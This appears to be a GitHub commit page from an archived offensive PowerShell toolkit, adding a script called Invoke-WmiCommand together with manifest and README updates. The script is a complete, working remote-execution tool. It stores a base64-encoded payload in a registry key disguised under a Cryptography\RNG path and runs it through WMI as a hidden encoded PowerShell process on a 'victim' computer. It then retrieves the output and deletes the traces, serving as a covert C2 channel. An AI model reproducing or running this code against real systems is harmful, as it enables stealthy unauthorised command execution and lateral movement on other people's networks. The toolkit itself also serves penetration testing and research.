Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 03ed2ad

Browse files
author
Matt Graeber
committed
Adding Invoke-WmiCommand
1 parent 5ce61e4 commit 03ed2ad

File tree

3 files changed

+339
-1
lines changed

3 files changed

+339
-1
lines changed

CodeExecution/CodeExecution.psd1

+1-1
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID =
7474

7575
# List of all files packaged with this module
7676
FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1',
77-
'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Usage.md'
77+
'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md'
7878

7979
# Private data to pass to the module specified in RootModule/ModuleToProcess
8080
# PrivateData = ''

CodeExecution/Invoke-WmiCommand.ps1

+334
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,334 @@
1+
#Requires -Version 2
2+
3+
function Invoke-WmiCommand {
4+
<#
5+
.SYNOPSIS
6+
7+
Executes a PowerShell ScriptBlock on a target computer using WMI as a
8+
pure C2 channel.
9+
10+
Author: Matthew Graeber
11+
License: BSD 3-Clause
12+
Required Dependencies: None
13+
Optional Dependencies: None
14+
15+
.DESCRIPTION
16+
17+
Invoke-WmiCommand executes a PowerShell ScriptBlock on a target
18+
computer using WMI as a pure C2 channel. It does this by using the
19+
StdRegProv WMI registry provider methods to store a payload into a
20+
registry value. The command is then executed on the victim system and
21+
the output is stored in another registry value that is then retrieved
22+
remotely.
23+
24+
.PARAMETER Payload
25+
26+
Specifies the payload to be executed on the remote system.
27+
28+
.PARAMETER RegistryKeyPath
29+
30+
Specifies the registry key where the payload and payload output will
31+
be stored.
32+
33+
.PARAMETER RegistryPayloadValueName
34+
35+
Specifies the registry value name where the payload will be stored.
36+
37+
.PARAMETER RegistryResultValueName
38+
39+
Specifies the registry value name where the payload output will be
40+
stored.
41+
42+
.PARAMETER ComputerName
43+
44+
Runs the command on the specified computers. The default is the local
45+
computer.
46+
47+
Type the NetBIOS name, an IP address, or a fully qualified domain
48+
name of one or more computers. To specify the local computer, type
49+
the computer name, a dot (.), or "localhost".
50+
51+
This parameter does not rely on Windows PowerShell remoting. You can
52+
use the ComputerName parameter even if your computer is not
53+
configured to run remote commands.
54+
55+
.PARAMETER Credential
56+
57+
Specifies a user account that has permission to perform this action.
58+
The default is the current user. Type a user name, such as "User01",
59+
"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential
60+
object, such as an object that is returned by the Get-Credential
61+
cmdlet. When you type a user name, you will be prompted for a
62+
password.
63+
64+
.PARAMETER Impersonation
65+
66+
Specifies the impersonation level to use. Valid values are:
67+
68+
0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
69+
70+
1: Anonymous (Hides the credentials of the caller.)
71+
72+
2: Identify (Allows objects to query the credentials of the caller.)
73+
74+
3: Impersonate (Allows objects to use the credentials of the caller.)
75+
76+
4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
77+
78+
.PARAMETER Authentication
79+
80+
Specifies the authentication level to be used with the WMI connection. Valid values are:
81+
82+
-1: Unchanged
83+
84+
0: Default
85+
86+
1: None (No authentication in performed.)
87+
88+
2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
89+
90+
3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
91+
92+
4: Packet (Authentication is performed on all the data that is received from the client.)
93+
94+
5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
95+
96+
6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
97+
98+
.PARAMETER EnableAllPrivileges
99+
100+
Enables all the privileges of the current user before the command
101+
makes the WMI call.
102+
103+
.PARAMETER Authority
104+
105+
Specifies the authority to use to authenticate the WMI connection.
106+
You can specify standard NTLM or Kerberos authentication. To use
107+
NTLM, set the authority setting to ntlmdomain:<DomainName>, where
108+
<DomainName> identifies a valid NTLM domain name. To use Kerberos,
109+
specify kerberos:<DomainName\ServerName>. You cannot include the
110+
authority setting when you connect to the local computer.
111+
112+
.EXAMPLE
113+
114+
PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1'
115+
116+
.EXAMPLE
117+
118+
PS C:\>$Hosts = Get-Content hostnames.txt
119+
PS C:\>$Payload = Get-Content payload.ps1
120+
PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser'
121+
PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential
122+
123+
.EXAMPLE
124+
125+
PS C:\>$Payload = Get-Content payload.ps1
126+
PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2'
127+
128+
.EXAMPLE
129+
130+
PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose
131+
132+
.INPUTS
133+
134+
System.String[]
135+
136+
Accepts one or more host names/IP addresses over the pipeline.
137+
138+
.OUTPUTS
139+
140+
System.Management.Automation.PSObject
141+
142+
Outputs a custom object consisting of the target computer name and
143+
the output of the command executed.
144+
145+
.NOTES
146+
147+
In order to receive the output from your payload, it must return
148+
actual objects. For example, Write-Host doesn't return objects
149+
rather, it writes directly to the console. If you're using
150+
Write-Host in your scripts though, you probably don't deserve to get
151+
the output of your payload back. :P
152+
#>
153+
154+
[CmdletBinding()]
155+
Param (
156+
[Parameter( Mandatory = $True )]
157+
[ScriptBlock]
158+
$Payload,
159+
160+
[String]
161+
[ValidateSet( 'HKEY_LOCAL_MACHINE',
162+
'HKEY_CURRENT_USER',
163+
'HKEY_CLASSES_ROOT',
164+
'HKEY_USERS',
165+
'HKEY_CURRENT_CONFIG' )]
166+
$RegistryHive = 'HKEY_CURRENT_USER',
167+
168+
[String]
169+
[ValidateNotNullOrEmpty()]
170+
$RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG',
171+
172+
[String]
173+
[ValidateNotNullOrEmpty()]
174+
$RegistryPayloadValueName = 'Seed',
175+
176+
[String]
177+
[ValidateNotNullOrEmpty()]
178+
$RegistryResultValueName = 'Value',
179+
180+
[Parameter( ValueFromPipeline = $True )]
181+
[Alias('Cn')]
182+
[String[]]
183+
[ValidateNotNullOrEmpty()]
184+
$ComputerName = 'localhost',
185+
186+
[Management.Automation.PSCredential]
187+
[Management.Automation.CredentialAttribute()]
188+
$Credential,
189+
190+
[Management.ImpersonationLevel]
191+
$Impersonation,
192+
193+
[System.Management.AuthenticationLevel]
194+
$Authentication,
195+
196+
[Switch]
197+
$EnableAllPrivileges,
198+
199+
[String]
200+
$Authority
201+
)
202+
203+
BEGIN {
204+
switch ($RegistryHive) {
205+
'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 }
206+
'HKEY_CURRENT_USER' { $Hive = 2147483649 }
207+
'HKEY_CLASSES_ROOT' { $Hive = 2147483648 }
208+
'HKEY_USERS' { $Hive = 2147483651 }
209+
'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 }
210+
}
211+
212+
$WmiMethodArgs = @{}
213+
214+
# If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
215+
if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential }
216+
if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation }
217+
if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication }
218+
if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges }
219+
if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority }
220+
221+
$AccessPermissions = @{
222+
KEY_QUERY_VALUE = 1
223+
KEY_SET_VALUE = 2
224+
KEY_CREATE_SUB_KEY = 4
225+
KEY_CREATE = 32
226+
DELETE = 65536
227+
}
228+
229+
# These are all of the registry permissions we'll require
230+
$RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor
231+
$AccessPermissions['KEY_SET_VALUE'] -bor
232+
$AccessPermissions['KEY_CREATE_SUB_KEY'] -bor
233+
$AccessPermissions['KEY_CREATE'] -bor
234+
$AccessPermissions['DELETE']
235+
}
236+
237+
PROCESS {
238+
foreach ($Computer in $ComputerName) {
239+
# Pass the individual computer name to Invoke-WmiMethod
240+
$WmiMethodArgs['ComputerName'] = $Computer
241+
242+
Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath"
243+
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath
244+
245+
if ($Result.ReturnValue -ne 0) {
246+
throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath"
247+
}
248+
249+
Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath"
250+
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions
251+
252+
if (-not $Result.bGranted) {
253+
throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand."
254+
}
255+
256+
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload))
257+
258+
Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
259+
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName
260+
261+
if ($Result.ReturnValue -ne 0) {
262+
throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
263+
}
264+
265+
# Prep the script runner payload from the remote system
266+
$PayloadRunnerArgs = @"
267+
`$Hive = '$Hive'
268+
`$RegistryKeyPath = '$RegistryKeyPath'
269+
`$RegistryPayloadValueName = '$RegistryPayloadValueName'
270+
`$RegistryResultValueName = '$RegistryResultValueName'
271+
`n
272+
"@
273+
274+
$RemotePayloadRunner = $PayloadRunnerArgs + {
275+
$WmiMethodArgs = @{
276+
Namespace = 'Root\default'
277+
Class = 'StdRegProv'
278+
}
279+
280+
$Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
281+
282+
if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) {
283+
$Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue))
284+
285+
$SerilizedPayloadResult = Invoke-Expression ($Payload) | % {
286+
[Management.Automation.PSSerializer]::Serialize($_, 4)
287+
}
288+
289+
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadResult, $RegistryResultValueName
290+
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
291+
}
292+
}
293+
294+
$Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner))
295+
296+
$Cmdline = "powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload"
297+
298+
# Execute the payload runner on the remote system
299+
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline
300+
301+
Start-Sleep -Seconds 5
302+
303+
if ($Result.ReturnValue -ne 0) {
304+
throw "[$Computer] Unable execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
305+
}
306+
307+
Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
308+
309+
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
310+
311+
if ($Result.ReturnValue -ne 0) {
312+
throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
313+
}
314+
315+
Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
316+
317+
$SerilizedPayloadResult = $Result.sValue
318+
$PayloadResult = [Management.Automation.PSSerializer]::Deserialize($SerilizedPayloadResult)
319+
320+
$FinalResult = New-Object PSObject -Property @{
321+
PSComputerName = $Computer
322+
PayloadOutput = $PayloadResult
323+
}
324+
325+
Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
326+
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
327+
328+
Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath"
329+
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath
330+
331+
return $FinalResult
332+
}
333+
}
334+
}

README.md

+4
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,10 @@ Injects shellcode into the process ID of your choosing or within PowerShell loca
2222

2323
Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
2424

25+
#### `Invoke-WmiCommand`
26+
27+
Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.
28+
2529
## ScriptModification
2630

2731
**Modify and/or prepare scripts for execution on a compromised machine.**

0 commit comments

Comments
 (0)